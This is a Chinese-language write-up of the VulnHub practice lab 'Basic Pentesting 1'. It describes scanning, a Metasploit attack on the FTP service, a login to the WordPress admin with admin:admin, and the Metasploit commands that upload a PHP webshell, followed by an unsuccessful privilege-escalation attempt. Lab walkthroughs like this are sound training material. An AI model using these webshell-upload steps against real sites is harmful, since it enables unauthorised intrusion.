[Vulnhub] basic_pentesting_1

vulnhub靶场地址：Basic Pentesting: 1 ~ VulnHub

使用迅雷下载会快点

参考B站视频：玩转100个vulnhub靶场4----basic_pentesting_1_哔哩哔哩_bilibili

靶场信息：

 和之前一样，主机发现，端口扫描，打开目标网页

 目标网页没有发现可用信息，扫描后台路径

 两种攻击手法：

1、ftp服务版本漏洞

利用MSF，search 服务名

show payloads

 设置一下目标信息 成功返回shell会话

 2、webshell

通过后台路径扫描，发现/secret/wp-admin是wordpress框架的后台登录地址 

 通过的简单的弱口令 admin:admin 就登进去了

通过msf上传webshell

use exploit/unix/webapp/wp_admin_shell_upload

set lhost 192.168.56.133

set rhost 192.168.56.140

set targeturi /secret/

set username admin

set password admin

exploit

 可以看到成功上传了php后门，并获得web权限

 网站权限很小，接下来就是提权，先上传信息收集和漏洞探针工具

进入/tmp，进去shell会话，执行工具，权限不足就chmod命令赋予执行权限。 

 信息收集工具结果就不演示了，来看看漏洞探针工具的结果，发现了很多漏洞。

 下载并上传EXP

emmmm..........漏洞的exp都用了，发现没有什么回馈，所以不得不暂时放下webshell提权的方法（原因是自己菜，各位谅解！），有后续思路的可以评论告知一下如此菜的我。